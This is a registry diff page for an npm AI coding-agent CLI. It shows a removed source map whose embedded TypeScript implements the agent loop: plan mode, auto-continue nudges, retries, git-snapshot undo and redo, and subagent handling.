@cryer/star-cli 0.3.6 → 0.3.8
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +100 -41
- package/README.zh-CN.md +98 -42
- package/dist/chunk-IYWYSFSF.js +1240 -0
- package/dist/chunk-IYWYSFSF.js.map +1 -0
- package/dist/{chunk-I6FDXAWX.js → chunk-OHLA2DP7.js} +2123 -270
- package/dist/chunk-OHLA2DP7.js.map +1 -0
- package/dist/loop-2MOFLXTG.js +12 -0
- package/dist/main.js +141 -6677
- package/dist/main.js.map +1 -1
- package/dist/repl-YA23CK5R.js +5464 -0
- package/dist/repl-YA23CK5R.js.map +1 -0
- package/package.json +1 -1
- package/dist/chunk-B6P4VUBE.js +0 -122
- package/dist/chunk-B6P4VUBE.js.map +0 -1
- package/dist/chunk-I6FDXAWX.js.map +0 -1
- package/dist/loop-XY3TE5NN.js +0 -11
- package/dist/stream-EFQPULQQ.js +0 -186
- package/dist/stream-EFQPULQQ.js.map +0 -1
- /package/dist/{loop-XY3TE5NN.js.map → loop-2MOFLXTG.js.map} +0 -0
|
@@ -1 +0,0 @@
|
|
|
1
|
-
{"version":3,"sources":["../src/agent/loop.ts","../src/config/schema.ts","../src/context/compaction.ts","../src/context/tokens.ts","../src/core/git.ts","../src/core/image.ts","../src/core/messages.ts","../src/hooks/runner.ts","../src/permissions/gate.ts","../src/core/sensitive.ts","../src/permissions/allow.ts","../src/session/title.ts","../src/snapshot/git-tree.ts","../src/tools/fs/snapshots.ts","../src/tools/bash.ts","../src/tasks/manager.ts","../src/tools/fs/edit.ts","../src/tools/fs/glob.ts","../src/tools/fs/util.ts","../src/tools/fs/grep.ts","../src/tools/fs/read.ts","../src/tools/fs/write.ts","../src/tools/tasks.ts","../src/agent/agent-tasks.ts","../src/tasks/format.ts","../src/tools/todo.ts","../src/tools/web/fetch.ts","../src/tools/web/search.ts","../src/tools/registry.ts","../src/agent/project-memory.ts","../src/agent/skills.ts","../src/agent/subagent.ts","../src/tools/index.ts","../src/agent/user-memory.ts"],"sourcesContent":["import { type LanguageModel, tool as aiTool, generateText } from \"ai\";\nimport { type StarConfig, resolveCompactThreshold } from \"../config/schema\";\nimport { type CompactionResult, compactMessages, summarizeMessages } from \"../context/compaction\";\nimport type { StreamEvent } from \"../core/events\";\nimport { formatGitSummary, getGitSummaryCached } from \"../core/git\";\nimport { isOversizedImageError, stripOversizedImages } from \"../core/image\";\nimport {\n type ChatInput,\n type CoreMessage,\n reconcileToolCalls,\n retractLastTurn,\n} from \"../core/messages\";\nimport { type HookEvent, type HookRunResult, runHooks } from \"../hooks/runner\";\nimport { computeRetryDelayMs, isRetryableStreamError, summarizeStreamError } from \"../llm/retry\";\nimport { checkPermission } from \"../permissions/gate\";\nimport type { PermissionRequest } from \"../permissions/types\";\nimport type { SessionStore } from \"../session/store\";\nimport { scheduleSessionTitle } from \"../session/title\";\nimport { diffTreeNames, restoreTree, trackTree } from \"../snapshot/git-tree\";\nimport {\n beginTurn,\n currentTurnSeq,\n dropTurnSnapshots,\n setSnapshotHooks,\n undoTurnSnapshots,\n} from \"../tools/fs/snapshots\";\nimport { ToolRegistry } from \"../tools/registry\";\nimport { TodoStore, pendingTodoTitles, setTodoPersistGuard } from \"../tools/todo\";\nimport type { ToolResult } from \"../tools/types\";\nimport { defaultAgentTasks } from \"./agent-tasks\";\nimport { readProjectMemory } from \"./project-memory\";\nimport { createSkillTool, discoverSkills, formatSkillsBlock } from \"./skills\";\nimport { MAX_SUBAGENT_DEPTH, createSubagentTool } from \"./subagent\";\nimport { createRememberTool, readUserMemory } from \"./user-memory\";\n\nexport interface AgentLoopOptions {\n model: LanguageModel;\n registry: ToolRegistry;\n config: StarConfig;\n cwd: string;\n system?: string;\n sessionStore?: SessionStore | null;\n // Effective context window for compaction (per-model override resolved by\n // the caller); falls back to config.contextMaxTokens when omitted.\n contextMaxTokens?: number;\n // Per-call provider metadata (e.g. the model's reasoningEffort), resolved\n // by the caller via llm/provider.ts reasoningEffortMetadata.\n providerMetadata?: Record<string, Record<string, unknown>>;\n // Depth of this loop in the subagent chain (0 = main agent). At\n // MAX_SUBAGENT_DEPTH the subagent tool is not registered, so subagents\n // cannot spawn further subagents.\n subagentDepth?: number;\n // Base delay between stream retries (doubled per attempt); tests shrink it.\n retryDelayMs?: number;\n}\n\nexport const PLAN_MODE_PROMPT =\n \"\\n\\nYou are currently in PLAN MODE. Research the task using only the read-only tools available to you, then present a concrete, step-by-step implementation plan as your final answer. You must not modify files, run shell commands, or otherwise change the system — write/exec tools are unavailable in this mode. Do not ask the user to run commands for you; note manual steps in the plan instead. The user will review your plan and approve it before any execution begins.\";\n\ninterface PendingToolCall {\n id: string;\n name: string;\n args: unknown;\n}\n\n// Matches announcements of pending work (\"我会保留…\", \"接下来我将…\",\n// \"开始执行转换…\", \"I will now convert…\") in a text-only reply — the signature\n// of a model that ended its turn without doing what it just said it would do.\n// Keyword matching can never catch every phrasing, so this is only the first\n// line of defense: a text-only reply to a nudge is re-nudged unconditionally.\nconst PENDING_WORK_PATTERN =\n /(?:我将|我会|我现在|接下来|下一步|下面(?:我|将)|稍后|随后|准备开始|现在开始|马上|即将|这就|待会|开始(?:执行|进行|处理|转换|动手|生成|写入|运行|创建)|(?:完成后|然后|接着)会|让我(?:们)?(?:来)?|I will|I'll|I am going to|I'm going to|I shall|let me|next,? I|I will now)/i;\n\nconst AUTO_CONTINUE_NUDGE =\n \"[auto-continue] You ended your turn with words instead of actions. Do not describe or restate the plan — continue the task NOW by calling tools. Reply with text only if the task is already fully complete.\";\n\nconst EMPTY_REPLY_NUDGE =\n \"[auto-continue] Your previous reply was empty — no text and no tool calls. If the task is fully complete, reply with one short confirmation; otherwise continue NOW by calling tools.\";\n\n// An empty reply the model finished with a content filter reproduces on every\n// identical resend (the filter judged the request itself), so it gets one\n// confirmation resend before steering changes the input. Any other empty\n// finish — stop with no content, or no finish at all — is indistinguishable\n// from a relay hiccup and gets the full retry budget first.\nfunction isFilteredEmptyFinish(finishReason: string | undefined): boolean {\n return finishReason === \"content-filter\";\n}\n\n// After the retry budget is spent, an empty reply finished deliberately\n// (stop/content-filter) is steered with a nudge; an empty finish of any other\n// kind (idle-timeout, none) means the stream stayed sick and errors out.\nfunction isSteerableEmptyFinish(finishReason: string | undefined): boolean {\n return finishReason === \"stop\" || finishReason === \"content-filter\";\n}\n\n// Appended to a nudge that spends the last continuation budget, so the model\n// knows the next tool-less reply hands the turn back to the user instead of\n// being nudged again — its cue to wrap up or report what remains.\nfunction finalNudgeWarning(autoContinues: number, maxAutoContinues: number): string {\n return autoContinues >= maxAutoContinues\n ? \" This is the final automatic continuation — if your next reply again has no tool calls, nudging stops and the turn is handed back to the user. Finish the work now or summarize what remains.\"\n : \"\";\n}\n\nconst COMPLETION_CHECK_TIMEOUT_MS = 30_000;\n\n// Keyword matching cannot catch every phrasing of \"I am about to…\", so a\n// text-only end to a turn that used tools gets a semantic check: the model\n// itself judges whether the user's request is actually finished. Returns\n// null when the check fails (network, timeout, unparseable reply) — the\n// caller then treats the turn as complete rather than nudging on a broken\n// signal.\nasync function checkTaskComplete(\n model: LanguageModel,\n request: string,\n finalReply: string,\n signal: AbortSignal,\n): Promise<boolean | null> {\n const controller = new AbortController();\n const timer = setTimeout(() => controller.abort(), COMPLETION_CHECK_TIMEOUT_MS);\n const onAbort = () => controller.abort();\n signal.addEventListener(\"abort\", onAbort, { once: true });\n try {\n const { text } = await generateText({\n model,\n maxTokens: 8,\n abortSignal: controller.signal,\n prompt: [\n \"An AI coding agent was given this task by the user:\",\n `<task>\\n${request.slice(0, 2000)}\\n</task>`,\n \"The agent has stopped calling tools and ended with this reply:\",\n `<reply>\\n${finalReply.slice(0, 2000)}\\n</reply>`,\n \"Has the agent fully completed the task — every requested action actually performed, and the result verified by running a check (tests, build, or inspecting the produced output) rather than assumed? Or is it only describing, planning, or reporting progress with work still left? Answer with exactly one word: DONE or NOT_DONE.\",\n ].join(\"\\n\"),\n });\n const verdict = text.trim().toUpperCase();\n if (verdict.startsWith(\"NOT_DONE\")) return false;\n if (verdict.startsWith(\"DONE\")) return true;\n return null;\n } catch {\n return null;\n } finally {\n clearTimeout(timer);\n signal.removeEventListener(\"abort\", onAbort);\n }\n}\n\nconst STREAM_RETRY_BASE_DELAY_MS = 1000;\n\n// The redo stack labels each entry with the start of the undone turn's user\n// message, so the /redo prompt can say what restoring brings back.\nconst REDO_LABEL_MAX = 40;\n\n// Text of a message for the redo label; mirrors cli/format.ts\n// coreMessageText (kept local — the agent layer must not import from cli).\nfunction messageText(message: CoreMessage | undefined): string {\n if (!message) return \"\";\n const content = message.content;\n if (typeof content === \"string\") return content;\n if (Array.isArray(content)) {\n return content\n .filter((part) => part.type === \"text\")\n .map((part) => (\"text\" in part ? part.text : \"\"))\n .join(\" \");\n }\n return \"\";\n}\n\n// Stable JSON for doom-loop signatures: object keys sort recursively so the\n// same arguments serialize identically regardless of key order.\nfunction stableStringify(value: unknown): string {\n if (value === undefined) return \"undefined\";\n if (value === null || typeof value !== \"object\") return JSON.stringify(value) ?? \"null\";\n if (Array.isArray(value)) return `[${value.map(stableStringify).join(\",\")}]`;\n const record = value as Record<string, unknown>;\n const entries = Object.keys(record)\n .sort()\n .map((key) => `${JSON.stringify(key)}:${stableStringify(record[key])}`);\n return `{${entries.join(\",\")}}`;\n}\n\n// Resolves true after `ms`, or false immediately when the signal aborts.\nfunction sleep(ms: number, signal: AbortSignal): Promise<boolean> {\n if (signal.aborted) return Promise.resolve(false);\n return new Promise((resolve) => {\n const onAbort = () => {\n clearTimeout(timer);\n resolve(false);\n };\n const timer = setTimeout(() => {\n signal.removeEventListener(\"abort\", onAbort);\n resolve(true);\n }, ms);\n signal.addEventListener(\"abort\", onAbort, { once: true });\n });\n}\n\nexport class AgentLoop {\n private messages: CoreMessage[] = [];\n private readonly opts: AgentLoopOptions;\n // Seq + user-message index of each turn started via stream(); lets /undo\n // match a retracted turn to the file snapshots it produced. `tree` is the\n // whole-tree git snapshot captured at the turn's start (root loop only,\n // config.gitSnapshots) — when present, /undo restores it instead of\n // replaying per-file snapshots, which also covers bash-made changes.\n // Cleared when history is replaced wholesale (resume/compact), because\n // indices no longer line up — in that case /undo only retracts messages,\n // never wrong files.\n private turnMarkers: { seq: number; userIndex: number; tree?: string }[] = [];\n // Pre-undo tree snapshots, latest last: a git-path /undo pushes the\n // pre-undo working tree here so /redo can restore it exactly. Only the git\n // path feeds this — per-file snapshot undos stay non-redoable.\n private redoStack: { tree: string; label: string }[] = [];\n // Start of the most recently retracted turn's user message; undoLastTurn\n // consumes it as the redo label right after retractLastTurn sets it.\n private lastUndoneLabel = \"\";\n // Doom-loop guard: signature of the most recent tool call and how many\n // times in a row it has repeated. Any different call resets the count.\n private lastToolSignature: string | null = null;\n private repeatedToolCalls = 0;\n // Turn context of the in-flight stream() turn, stamped onto every tool\n // execution so file snapshots attribute root changes to a turn and mark\n // subagent changes as excluded from turn-level retraction.\n private activeTurnSeq = 0;\n private activeTurnUserIndex = -1;\n private titleScheduled = false;\n private titleInput?: string;\n confirmHandler?: (req: PermissionRequest) => Promise<boolean>;\n // Hook failures never block the turn (except an explicit PreToolUse block);\n // their stderr surfaces through this callback (REPL system message / stderr\n // in print mode).\n onHookWarning?: (message: string) => void;\n\n constructor(opts: AgentLoopOptions) {\n this.opts = opts;\n const depth = opts.subagentDepth ?? 0;\n if (depth > 0) {\n // Subagent todo isolation: the default registry wires the todo tools to\n // a process-wide store, so a child's todo_write would clobber the root\n // session's list (and the REPL panel mirroring it). The child gets a\n // fresh registry backed by its own store — the registry a caller hands\n // to a subagent loop is always a freshly created default one (see\n // runSubagent), so replacing it loses nothing.\n opts.registry = new ToolRegistry(new TodoStore());\n } else {\n // Root only: todo persistence follows the permission mode, so\n // readonly/plan sessions never touch .star/todos.json. The mode can\n // change at runtime, so the guard reads the live config object.\n setTodoPersistGuard(() => {\n const mode = this.opts.config.permissionMode;\n return mode !== \"readonly\" && mode !== \"plan\";\n });\n }\n if (opts.system) {\n this.messages.push({ role: \"system\", content: opts.system });\n }\n if (opts.sessionStore) {\n this.bindSnapshotHooks(opts.sessionStore);\n }\n // Read-level, so it is available at every subagent depth and in plan\n // mode. Skills are discovered lazily at execute time, so ones added\n // mid-session work without re-registering.\n opts.registry?.register(createSkillTool({ cwd: opts.cwd }));\n // Write-level like the fs write tools, so the permission gate still\n // applies in ask mode; available at every subagent depth.\n opts.registry?.register(createRememberTool());\n if (opts.registry && depth < MAX_SUBAGENT_DEPTH) {\n opts.registry.register(\n createSubagentTool({\n model: opts.model,\n config: opts.config,\n cwd: opts.cwd,\n system: opts.system,\n providerMetadata: opts.providerMetadata,\n depth,\n getConfirmHandler: () => this.confirmHandler,\n }),\n );\n }\n }\n\n getMessages(): readonly CoreMessage[] {\n return this.messages;\n }\n\n // Rebinds the per-call provider metadata (e.g. after the reasoning effort\n // for the current model changed via /model) without recreating the loop.\n setProviderMetadata(metadata: Record<string, Record<string, unknown>> | undefined): void {\n this.opts.providerMetadata = metadata;\n }\n\n // Swaps the persistence target (/new starts a fresh session mid-REPL).\n // Title generation is re-armed so the new session gets one after its first\n // turn, and snapshot checkpoints now flow to the new store. The redo stack\n // dies with the old session context: its trees describe working-tree states\n // that no longer line up with the new session's conversation.\n setSessionStore(store: SessionStore | null): void {\n this.opts.sessionStore = store;\n this.titleScheduled = false;\n this.titleInput = undefined;\n this.redoStack = [];\n if (store) this.bindSnapshotHooks(store);\n }\n\n private bindSnapshotHooks(store: SessionStore): void {\n setSnapshotHooks({\n onPush: (snapshot) =>\n store.appendCheckpoint(\n {\n id: snapshot.id,\n timestamp: snapshot.timestamp,\n path: snapshot.path,\n existed: snapshot.existed,\n toolName: snapshot.toolName,\n turn: snapshot.turn,\n messageIndex: snapshot.messageIndex,\n owner: snapshot.owner,\n contentTooLarge: snapshot.contentTooLarge,\n },\n snapshot.content,\n ),\n onRemove: (ids) => store.removeCheckpoints(ids),\n });\n }\n\n async loadMessages(messages: CoreMessage[]): Promise<void> {\n this.messages = reconcileToolCalls(messages);\n this.turnMarkers = [];\n this.redoStack = [];\n }\n\n // Read-only counterpart of retractLastTurn: how many messages /undo would\n // drop, which snapshot turn's file changes it would revert (undefined =\n // no verified turn, so no file snapshots may be reverted), and the turn's\n // whole-tree snapshot when one was captured. Mutates nothing, so the REPL\n // can show the preview before the user confirms.\n previewLastTurnRetraction(): { removed: number; turn?: number; tree?: string } {\n const result = retractLastTurn([...this.messages]);\n if (result.removed === 0) return { removed: 0 };\n const userIndex = result.messages.length;\n const last = this.turnMarkers[this.turnMarkers.length - 1];\n const verified = last && last.userIndex === userIndex;\n return {\n removed: result.removed,\n turn: verified ? last.seq : undefined,\n tree: verified ? last.tree : undefined,\n };\n }\n\n // Drops the final user message and everything after it, and persists the\n // trimmed history so a later /resume does not bring the turn back.\n // `turn` is the retracted turn's snapshot seq when it could be verified\n // against the marker recorded at turn start — undefined means the caller\n // must not revert any file snapshots. `tree` is the turn's whole-tree\n // snapshot when git snapshots tracked it.\n async retractLastTurn(): Promise<{ removed: number; turn?: number; tree?: string }> {\n const result = retractLastTurn([...this.messages]);\n if (result.removed === 0) return { removed: 0 };\n const userIndex = result.messages.length;\n this.lastUndoneLabel = messageText(this.messages[userIndex]).slice(0, REDO_LABEL_MAX);\n this.messages = result.messages;\n await this.opts.sessionStore?.replaceMessages([...this.messages]);\n const last = this.turnMarkers[this.turnMarkers.length - 1];\n let turn: number | undefined;\n let tree: string | undefined;\n if (last && last.userIndex === userIndex) {\n turn = last.seq;\n tree = last.tree;\n this.turnMarkers.pop();\n }\n return { removed: result.removed, turn, tree };\n }\n\n // The confirmed /undo: retract the last turn, then revert its file changes.\n // With a whole-tree snapshot the working tree is restored from git — which\n // also reverts changes no tool snapshot saw (bash edits, deleted files) —\n // and the turn's per-file snapshots are dropped instead of replayed (they\n // would double-restore). The pre-undo tree feeds the redo stack, so /redo\n // returns to the exact state before the undo. Any git failure falls back\n // to the per-file snapshot revert, which never pushes the redo stack.\n async undoLastTurn(): Promise<{ removed: number; reverted: string[]; tree?: string }> {\n const { removed, turn, tree } = await this.retractLastTurn();\n if (removed === 0) return { removed, reverted: [] };\n if (turn !== undefined && tree !== undefined) {\n const preUndoTree = await trackTree(this.opts.cwd);\n if (preUndoTree !== null && (await restoreTree(this.opts.cwd, tree))) {\n this.redoStack.push({ tree: preUndoTree, label: this.lastUndoneLabel });\n const dropped = await dropTurnSnapshots(turn, true);\n return {\n removed,\n reverted: [\n `Restored the working tree from the git snapshot taken at the turn's start (${tree.slice(0, 8)}; covers changes from any tool, bash included; ${dropped} per-file snapshot(s) discarded).`,\n ],\n tree,\n };\n }\n }\n const reverted = turn !== undefined ? await undoTurnSnapshots(turn) : [];\n return { removed, reverted };\n }\n\n // The redo entry /redo would restore, without popping it (for the confirm\n // prompt); null when there is nothing to redo.\n peekRedo(): { tree: string; label: string } | null {\n return this.redoStack[this.redoStack.length - 1] ?? null;\n }\n\n // Restores the working tree to its state just before the last git-path\n // /undo. Conversation messages are not re-added — redo is file-level only.\n // The entry stays on the stack when the restore fails, so it can be retried.\n async redoLastUndo(): Promise<{\n ok: boolean;\n tree: string;\n label: string;\n files: number | null;\n } | null> {\n const entry = this.redoStack[this.redoStack.length - 1];\n if (!entry) return null;\n // Diff before restoring: afterwards the tree matches the work tree and\n // the changed-file count would read zero.\n const names = await diffTreeNames(this.opts.cwd, entry.tree);\n if (!(await restoreTree(this.opts.cwd, entry.tree))) {\n return { ok: false, tree: entry.tree, label: entry.label, files: null };\n }\n this.redoStack.pop();\n return { ok: true, tree: entry.tree, label: entry.label, files: names?.length ?? null };\n }\n\n // Cut point for a rewind: messages[index] should be the user message that\n // started the rewound turn, but compaction may have shifted indices, so\n // walk back to the nearest user message. Never touches a leading system\n // message.\n private retractionCut(index: number): number {\n const clamped = Math.max(0, Math.min(index, this.messages.length - 1));\n for (let i = clamped; i >= 0; i--) {\n if (this.messages[i]?.role === \"user\") return i;\n }\n return this.messages[0]?.role === \"system\" ? 1 : 0;\n }\n\n countRetraction(index: number): number {\n return this.messages.length - this.retractionCut(index);\n }\n\n // Truncates the history back to the given message index (the user message\n // at that index and everything after it is dropped) and persists the\n // trimmed history, so /rewind stays consistent across resume.\n async retractFromIndex(index: number): Promise<number> {\n const cut = this.retractionCut(index);\n const removed = this.messages.length - cut;\n if (removed === 0) return 0;\n this.messages = this.messages.slice(0, cut);\n await this.opts.sessionStore?.replaceMessages([...this.messages]);\n this.turnMarkers = this.turnMarkers.filter((m) => m.userIndex < cut);\n return removed;\n }\n\n async appendContextMessage(text: string, role: \"user\" | \"system\" = \"user\"): Promise<void> {\n const message: CoreMessage = { role, content: text };\n this.messages.push(message);\n await this.persist(message);\n }\n\n private async persist(message: CoreMessage): Promise<void> {\n await this.opts.sessionStore?.append(message);\n }\n\n // Replaces oversized image parts in the in-memory history with text\n // placeholders and rewrites the persisted session, so the failed request\n // can be resent and a later resume never carries the offending images.\n private async stripOversizedImages(): Promise<number> {\n const { messages, removed } = stripOversizedImages(this.messages);\n if (removed === 0) return 0;\n this.messages = messages;\n await this.opts.sessionStore?.replaceMessages([...this.messages]);\n return removed;\n }\n\n // Background title generation runs once per loop, fed by the first real\n // user message of the session. It must NOT latch on the first assistant\n // step's text: that text is empty for a tool-call-only first step (the\n // common agentic case), which used to burn the one-shot flag on an empty\n // input and left every such session untitled. The store-level title check\n // makes resumed sessions that already have a title a no-op.\n private maybeScheduleTitle(): void {\n if (this.titleScheduled) return;\n const store = this.opts.sessionStore;\n if (!store) return;\n const input = this.titleInput;\n if (!input) return;\n this.titleScheduled = true;\n scheduleSessionTitle(store, input, this.opts.model);\n }\n\n // A user interrupt (Esc) ends the turn mid-stream, before the normal\n // assistant-message persistence runs. Whatever text and tool calls already\n // arrived are still persisted — the text marked with \"[interrupted]\" so the\n // cut-off stays visible after a resume and the model can tell its reply was\n // cut short — and streamed tool calls are closed with synthetic results so\n // the stored history stays valid for the API.\n private async *persistInterrupted(\n text: string,\n toolCalls: PendingToolCall[],\n ): AsyncGenerator<StreamEvent> {\n if (text.length === 0 && toolCalls.length === 0) return;\n const assistantMessage: CoreMessage = {\n role: \"assistant\",\n content: [\n ...(text ? [{ type: \"text\" as const, text: `${text} [interrupted]` }] : []),\n ...toolCalls.map((call) => ({\n type: \"tool-call\" as const,\n toolCallId: call.id,\n toolName: call.name,\n args: call.args,\n })),\n ],\n };\n this.messages.push(assistantMessage);\n await this.persist(assistantMessage);\n for (const call of toolCalls) {\n const content = \"Tool execution interrupted by user.\";\n const synthetic: CoreMessage = {\n role: \"tool\",\n content: [\n {\n type: \"tool-result\" as const,\n toolCallId: call.id,\n toolName: call.name,\n result: content,\n },\n ],\n };\n this.messages.push(synthetic);\n await this.persist(synthetic).catch(() => {});\n yield { type: \"tool-result\", id: call.id, name: call.name, content, isError: true };\n }\n }\n\n async *stream(\n input: ChatInput,\n signal: AbortSignal,\n opts?: { persistAs?: string },\n ): AsyncGenerator<StreamEvent> {\n this.syncSystemMessage();\n\n const inputText = typeof input === \"string\" ? input : input.text;\n const images = typeof input === \"string\" ? [] : input.images;\n if (this.titleInput === undefined && inputText.trim().length > 0) {\n this.titleInput = inputText;\n }\n const userMessage: CoreMessage =\n images.length > 0\n ? {\n role: \"user\",\n content: [\n ...images.map((img) => ({\n type: \"image\" as const,\n image: img.data,\n mimeType: img.mimeType,\n })),\n { type: \"text\" as const, text: inputText },\n ],\n }\n : { role: \"user\", content: inputText };\n // Root loop only: capture the whole working tree before the turn can\n // change anything (a subagent shares the parent's cwd, and the parent's\n // turn-start tree already covers its changes). Silent no-op when git\n // snapshots are off or git fails — /undo then falls back to per-file\n // snapshots.\n const isRoot = (this.opts.subagentDepth ?? 0) === 0;\n const tree =\n isRoot && this.opts.config.gitSnapshots\n ? ((await trackTree(this.opts.cwd)) ?? undefined)\n : undefined;\n this.messages.push(userMessage);\n // Only the root loop opens a new snapshot turn: a subagent runs inside the\n // parent's turn, and its file changes must keep the parent's turn seq and\n // message index so /undo and /rewind attribute them correctly.\n const seq = isRoot ? beginTurn(this.messages.length - 1) : currentTurnSeq();\n this.turnMarkers.push({ seq, userIndex: this.messages.length - 1, tree });\n this.activeTurnSeq = seq;\n this.activeTurnUserIndex = this.messages.length - 1;\n await this.persist(\n opts?.persistAs !== undefined ? { role: \"user\", content: opts.persistAs } : userMessage,\n );\n this.maybeScheduleTitle();\n\n const { config, registry, cwd } = this.opts;\n const aiTools = this.buildAiTools();\n let autoContinues = 0;\n let lastWasNudge = false;\n let usedToolsThisTurn = false;\n // Open items from the latest todo_write this turn — a deterministic\n // \"work still pending\" signal that needs no text interpretation.\n let openTodos: string[] = [];\n\n // One step = one model round-trip: the streamed reply plus every tool\n // call it asked for. Stream retries have their own budget\n // (streamMaxRetries) and auto-continue nudges theirs (maxAutoContinues),\n // so neither consumes steps. maxSteps is a progress checkpoint rather\n // than a hard kill: reaching it while tools still execute resets the\n // budget with a notice, and the turn stops only when no tool ran since\n // the last checkpoint — the doom-loop signature. 0 disables the cap.\n const maxSteps = config.maxSteps;\n let step = 0;\n let toolExecutedSinceCheckpoint = false;\n for (;;) {\n if (maxSteps > 0 && step >= maxSteps) {\n if (!toolExecutedSinceCheckpoint) {\n yield {\n type: \"error\",\n error: new Error(\n `Max steps (${maxSteps}) reached with no tool execution since the last checkpoint, stopping.`,\n ),\n };\n return;\n }\n toolExecutedSinceCheckpoint = false;\n step = 0;\n yield {\n type: \"notice\",\n message: `maxSteps (${maxSteps}) reached and the turn is still making progress; continuing. Press Esc to interrupt.`,\n };\n }\n // Deliver finished background subagent reports at step boundaries so\n // the parent monitors its children without polling. Only the root\n // loop drains — children cannot spawn subagents.\n if ((this.opts.subagentDepth ?? 0) === 0) {\n for (const finished of defaultAgentTasks.drainNotifications()) {\n const label = finished.description ? ` \"${finished.description}\"` : \"\";\n const note: CoreMessage = {\n role: \"user\",\n content: `[background subagent ${finished.id}${label} ${finished.status}]\\n${finished.result}`,\n };\n this.messages.push(note);\n await this.persist(note);\n }\n }\n const maxTokens = this.opts.contextMaxTokens ?? config.contextMaxTokens;\n // Auto-compaction fires at compactThresholdTokens when configured\n // (clamped to the window), otherwise only once the window is full.\n const compacted = compactMessages(\n [...this.messages],\n resolveCompactThreshold(config, maxTokens),\n );\n if (compacted.compacted) {\n this.messages = await this.applyCompactionSummary(compacted, signal);\n // Compaction rewrote the history wholesale, so recorded turn indices\n // no longer line up — drop the markers like loadMessages() does.\n // /undo then only retracts messages until new turns accumulate,\n // instead of reverting files against a stale snapshot turn.\n this.turnMarkers = [];\n }\n\n // One model step, with retries: a transient stream failure (network\n // error, 429/5xx, idle watchdog cutoff) or an empty response must not\n // silently end a half-finished turn. Partial output from a failed\n // attempt is discarded — only a clean attempt is persisted. The wait\n // between attempts honors the server's Retry-After hint and otherwise\n // backs off exponentially with jitter (see llm/retry.ts).\n const maxRetries = Math.max(0, config.streamMaxRetries);\n const baseDelay = this.opts.retryDelayMs ?? STREAM_RETRY_BASE_DELAY_MS;\n let text = \"\";\n const toolCalls: PendingToolCall[] = [];\n let failure: Error | null = null;\n // Finish reason of the latest attempt: distinguishes a model that\n // actively returned nothing (stop/content-filter — the same request\n // tends to fail again) from a stream that died empty (idle-timeout,\n // network — worth resending as-is).\n let lastFinishReason: string | undefined;\n // Token usage of the latest attempt, and whether it streamed any\n // reasoning: both mark an empty reply as *deliberate* generation\n // rather than a relay hiccup. Reasoning-model relays that hide\n // reasoning content return turns where the model thought but produced\n // no visible output as an empty stop that still bills completion\n // tokens — resending the identical request reproduces them, so they\n // are steered early instead of spending the full retry budget.\n let lastUsage: { completionTokens: number } | undefined;\n let sawReasoning = false;\n // One free retry per step, outside the transient-retry budget: when the\n // provider rejects the request for an oversized image (a 4xx), the\n // offending images are stripped from the history and the request resent.\n let oversizedImagesStripped = false;\n\n for (let attempt = 0; ; attempt++) {\n text = \"\";\n toolCalls.length = 0;\n failure = null;\n lastFinishReason = undefined;\n lastUsage = undefined;\n sawReasoning = false;\n // Retried attempts get more patient stream timeouts (1x, 2x, 3x): a\n // relay that just timed out is overloaded, so re-asking with the same\n // deadline would hit the same wall.\n const timeoutScale = Math.min(attempt + 1, 3);\n\n try {\n for await (const event of this.streamOnce(aiTools, signal, timeoutScale)) {\n if (event.type === \"text-delta\") {\n text += event.text;\n yield event;\n } else if (event.type === \"reasoning\") {\n sawReasoning = true;\n yield event;\n } else if (event.type === \"tool-call\") {\n toolCalls.push({ id: event.id, name: event.name, args: event.args });\n yield event;\n } else if (event.type === \"finish\") {\n lastFinishReason = event.finishReason;\n lastUsage = event.usage;\n yield event;\n } else if (event.type === \"error\") {\n // Held back until retries are exhausted, so the UI shows retry\n // notices instead of an error for a turn that then recovers.\n failure = event.error;\n } else {\n yield event;\n }\n }\n } catch (error) {\n // A user-initiated abort is a normal end of the turn, not an error.\n if (!signal.aborted) {\n failure = error instanceof Error ? error : new Error(String(error));\n }\n }\n\n if (signal.aborted) {\n yield* this.persistInterrupted(text, toolCalls);\n return;\n }\n if (!failure && (text.length > 0 || toolCalls.length > 0)) break;\n if (failure && !oversizedImagesStripped && isOversizedImageError(failure)) {\n oversizedImagesStripped = true;\n const removed = await this.stripOversizedImages();\n if (removed > 0) {\n yield {\n type: \"notice\",\n message: `Removed ${removed} oversized image(s) the model rejected; retrying the request.`,\n };\n continue;\n }\n }\n if (failure && !isRetryableStreamError(failure)) break;\n if (attempt >= maxRetries) break;\n // Deterministic-empty replies reproduce on identical resends, so\n // after one confirmation resend break out and let the steering logic\n // below change the model's input: a content filter judged the\n // request itself; reasoning arrived but no visible output; or the\n // finish billed completion tokens while nothing was delivered (the\n // signature of a reasoning-only turn on a relay that hides\n // reasoning). Any other empty reply — stop with no content and no\n // tokens — is indistinguishable from a relay hiccup (an overloaded\n // relay answers with an empty stub) and gets the full retry budget:\n // a resend bills the same prompt a nudge would, without polluting\n // the history.\n if (\n !failure &&\n text.length === 0 &&\n toolCalls.length === 0 &&\n attempt >= 1 &&\n (isFilteredEmptyFinish(lastFinishReason) ||\n sawReasoning ||\n (lastUsage !== undefined && lastUsage.completionTokens > 0))\n )\n break;\n\n // An empty reply is the signature of an overloaded relay answering\n // with an empty stub, so resend more patiently than after a hard\n // error (doubled base delay) to give the relay time to recover.\n const delayMs = computeRetryDelayMs(attempt, failure ? baseDelay : baseDelay * 2, failure);\n yield {\n type: \"retry\",\n attempt: attempt + 2,\n maxAttempts: maxRetries + 1,\n delayMs,\n reason: failure\n ? summarizeStreamError(failure)\n : `empty response (finish: ${lastFinishReason ?? \"none\"})`,\n };\n if (!(await sleep(delayMs, signal))) {\n // An abort that lands during the retry wait is the same user\n // interrupt as Esc mid-stream: keep whatever this attempt already\n // produced instead of dropping it silently.\n yield* this.persistInterrupted(text, toolCalls);\n return;\n }\n }\n\n if (failure) {\n yield { type: \"error\", error: failure };\n return;\n }\n if (text.length === 0 && toolCalls.length === 0) {\n // Steering beats repeating: a nudge changes the model's input, which\n // breaks a deterministic empty reply where an identical resend would\n // not. Shares the auto-continue budget, so a model that keeps\n // answering with nothing still stops.\n if (\n isSteerableEmptyFinish(lastFinishReason) &&\n config.permissionMode !== \"plan\" &&\n autoContinues < config.maxAutoContinues\n ) {\n autoContinues++;\n lastWasNudge = true;\n yield {\n type: \"notice\",\n message: `the model returned an empty reply; asking the model to continue (${autoContinues}/${config.maxAutoContinues}).`,\n };\n const nudge: CoreMessage = {\n role: \"user\",\n content: EMPTY_REPLY_NUDGE + finalNudgeWarning(autoContinues, 